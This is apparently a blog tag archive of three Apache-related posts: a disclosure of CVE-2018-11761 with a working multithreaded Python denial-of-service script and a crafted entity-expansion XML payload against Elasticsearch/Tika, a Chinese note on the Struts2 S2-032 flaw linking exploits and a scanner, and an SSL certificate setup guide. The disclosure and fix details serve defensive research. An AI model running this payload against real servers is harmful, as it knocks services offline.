标签归档:Apache

Apache Tika Denial of Service Vulnerability (CVE-2018-11761)

Summary

In a recent research on Apache Tika, I found a DOS (Denial of Service) vulnerability existed on its XML parser. It is caused that the parser improperly parses XML document.

Affected Version

  • Tested on ElasticSearch 6.3.1 (using Tika 1.18) and 6.2.3 (using Tika 1.17)

Analysis

As we know, the core ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library Tika. So, let’s take a look at the source code of ingest attachment plugin.

/** subset of parsers for types we support */
private static final Parser PARSERS[] = new Parser[] {
    // documents
    new org.apache.tika.parser.html.HtmlParser(),
    new org.apache.tika.parser.rtf.RTFParser(),
    new org.apache.tika.parser.pdf.PDFParser(),
    new org.apache.tika.parser.txt.TXTParser(),
    new org.apache.tika.parser.microsoft.OfficeParser(),
    new org.apache.tika.parser.microsoft.OldExcelParser(),
    ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES),
    new org.apache.tika.parser.odf.OpenDocumentParser(),
    new org.apache.tika.parser.iwork.IWorkPackageParser(),
    new org.apache.tika.parser.xml.DcXMLParser(),
    new org.apache.tika.parser.epub.EpubParser(),
};

Actually, the plugin uses org.apache.tika.parser.xml.DcXMLParser() as a parser to extract contents from a XML file. Upon further investigation, we can see the following invocations:

public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }
 
    return factory;
}

In the function above, we can see very limited security restrictions for SAXParserFactory.newInstance() object:

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

According Oracle’s explanation, when XMLConstants.FEATURE_SECURE_PROCESSING is enabled, it instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.

But, actually it’s unable to completely prevent against XML Entity Expansion. An attacker still can send crafted XML document to the ES server to do DoS attack via XML Entity Expansion vulnerability as mentioned in the section Proof of Concept. I checked Apache Tika source code that they only enable XMLConstants.FEATURE_SECURE_PROCESSING feature, which they could think it can protect from this type of attack per this article since it limits the number of entity expansions to 64,000 by default. But actually, we can still leverage these 64,000 entity expansions to generate an amplification XML object in memory, e.g. the file size of ES_XML.xml in the POC is only around 64KB, but once it is uploaded to the backend Tika server on ES server, Tika will have to allocate at least 6MB memory (6MB / 64KB = 100 times) to parse it, which leads to CPU utilization increasing rapidly.

Therefore, from my understanding, one possible fix could be, to set the following system property would greatly limit the impact as per the Oracle document:

jdk.xml.entityExpansionLimit=1

Proof of Concept

The following demonstration is tested and verified on ElasticSearch 6.3.1 which is using Tika 1.18:

  • Create a POC script and save as poc_dos_es.py.
# Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability
# Author: avfisher
# Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)
# Time: 2018-07-23
# Example: 
# python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests
import sys
import base64
import json
import threading
import sys


headers = {"Content-Type" : "application/json"}


class ExploitThread(threading.Thread):
    def __init__(self, es_ip, es_port, mal_xml_file, thread_index):
        threading.Thread.__init__(self)
        self.es_ip = es_ip
        self.es_port = es_port
        self.mal_xml_file = mal_xml_file
        self.thread_index = thread_index
        self.num = 1

    def create_ingest_att_pipeline(self, url):
        pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
        data = {
            "description" : "Extract attachment information",
            "processors" : [{
                "attachment" : {
                    "field" : "data",
                    "indexed_chars": "-1"
                }
            }]
        }
        res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

    def send_payload(self, url, payload):
        ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
        data = {
            "data": payload
        }
        res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
        print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

    def verify_mal_doc(self, url):
        ingest_url = "{}/my_index/_doc/1".format(url)
        res = requests.get(ingest_url, headers=headers)
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

    def run(self):
        url = "http://{}:{}".format(self.es_ip, self.es_port)
        
        with open(self.mal_xml_file, 'rb') as f:
            content = base64.b64encode(f.read())
        
        self.create_ingest_att_pipeline(url)
        while True:
            print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
            self.send_payload(url, content)
            self.num += 1
            #self.verify_mal_doc(url)


if __name__ == "__main__":
    # ES server's IP, Port
    es_ip = sys.argv[1] 
    es_port = sys.argv[2]
    # Crafted XML file
    mal_xml_file = sys.argv[3]
    # Number of Processes
    thread_num = int(sys.argv[4])   
    for i in range(thread_num):
        i += 1
        t = ExploitThread(es_ip, es_port, mal_xml_file, i)
        t.start()

  • Create a crafted XML document and save as ES_XML.xml.
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "1234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900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00000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>

  • Run the script to send requests to an ES server.
python poc_dos_es.py [ES IP Address] [ES Port] ES_XML.xml [Thread Number]
  • Then, the CPU utilization will increase rapidly and obviously.

Conclusion

This vulnerability is actually caused by Apache Tika XML Parser implementation. Meanwhile, I think all of services which are using Tika to parse XML file should be impacted as well.

Timeline

  • 2018-07-25: Reported to Apache Security and Elastic Product Security team.
  • 2018-07-26: Received acknowledgement and confirmation from Apache Tika PMC.
  • 2018-07-27: Received acknowledgement from Elastic Product Security.
  • 2018-09-19: Received CVE-2018-11761 announcement from Apache Tika team and confirmed the issue was fixed in Apache Tika 1.19 or later
  • 2018-11-27: Elastic Product Security team confirmed ElasticSearch 6.4.3 fixed the issue.

References

Apache Struts2(S02-032)远程代码执行之批量检测

0x00 背景

近日,Apache公布了Strut2的又一远程代码执行漏洞S2-032。随之,各种poc和exp开始出现在各大论坛和QQ群。新一轮的腥风血雨即将开始!

0x01 分析

主要原因为在用户开启动态方法调用的情况下,会被攻击者实现远程代码执行攻击。具体分析如下:

http://seclab.dbappsecurity.com.cn/?p=924

http://blog.nsfocus.net/tech/技术分享/2016/04/26/Struts2方法调用远程代码执行漏洞-CVE-2016-3081-分析.html

https://www.seebug.org/vuldb/ssvid-91389

0x02 利用

网传的各种poc和exp如下:

http://zone.wooyun.org/content/26856

http://zone.wooyun.org/content/26862

http://www.shack2.org/article/1374154000.html

为了更深层次的了解这个漏洞的危害,笔者也“跟风”地写了一个批量检测的小工具,如下图:

工具下载地址:https://github.com/brianwrf/hackUtils

0x03 解决方案

1)禁用动态方法调用:

修改 Struts2 的配置文件,将“struts.enable.DynamicMethodInvocation” 设置为 false,如

<constant name=”struts.enable.DynamicMethodInvocation” value=”false” />;

2)如条件允许前提下,可升级 Struts 版本至 Struts 2.3.20.2,Struts 2.3.24.2 或者 Struts 2.3.28.1 来修复漏洞,新版本下载地址:https://struts.apache.org/download.cgi#struts2328

声明:本工具仅供学习交流,任何人不得用于非法目的或者入侵他人网站,否则一切后果自负,与本人无关!

XAMPP Apache安装StartSSL免费SSL证书

本文原始链接:http://www.myhack58.com/Article/sort099/sort0100/2014/53529.htm

发现网上没有一个很全面的XAMPP Apache安装StartSSL免费SSL证书的教程,故分享下。

虽然本文是针对XAMPP Apache的,但应该只要是Apache,都是一样的。

一、申请免费SSL证书:

我是从StartSSL申请的免费一年SSL证书:

https://www.startssl.com/

https://www.startssl.com/?app=12

StartSSL免费SSL证书申请教程:

http://blog.csdn.net/ruixue0117/Article/details/22201303

http://www.freehao123.com/startssl-ssl/

二、SSL证书申请成功后需要的东西:

1、key文件:StartSSL申请SSL证书时提供的一长串加密的字符串,保存为server.key,后面用的时候需要解密;
2、crt文件:StartSSL申请SSL证书时提供的一长串加密的字符串,保存到server.crt;
3、sub.class1.server.ca.pem文件:StartSSL申请SSL证书申请crt成功的时候会提示下载;
4、ca.pem文件:StartSSL申请SSL证书申请crt成功的时候会提示下载;

三、安装SSL证书:

我是在Linux XAMPP下操作的,Windows版本XAMPP是类似的。
1、通过FTP或者SFTP等方式将server.key上传覆盖XAMPP原有的”/opt/lampp/etc/ssl.key /server.key”,将server.crt上传覆盖XAMPP原有的”/opt/lampp/etc/ssl.crt/server.crt”;
2、解密server.key文件:
在服务器上执行:
# cd /opt/lampp/etc/ssl.key/
# openssl rsa -in server.key -out server_decrypted.key
然后输入你申请SSL证书是输入的密码,即可解密server.key文件。
3、将server.key文件重命名或者删除,然后把上一步解密好的server_decrypted.key文件重命令为server.key
4、将sub.class1.server.ca.pem和ca.pem上传到/opt/lampp/etc/ssl.crt/目录下;
5、修改/opt/lampp/etc/extra/httpd-ssl.conf配置文件,搜索SSLCertificateChainFile和SSLCACertificateFile,对应节点下增加以下两行并保存修改:
SSLCertificateChainFile “/opt/lampp/etc/ssl.crt/sub.class1.server.ca.pem”
SSLCACertificateFile “/opt/lampp/etc/ssl.crt/ca.pem”
6、重启Apache或直接重启XAMPP:
/opt/lampp/xampp restart
5、通过https访问你的网站。

四、另外,感谢以下两个参考教程:

Apache下安装StartSSL免费证书

http://fengfan.blog.163.com/blog/static/13478622013713114942896/

http://blog.csdn.net/ruixue0117/Article/details/23923395

http://www.myhack58.com/Article/sort099/sort0100/2014/53529.htm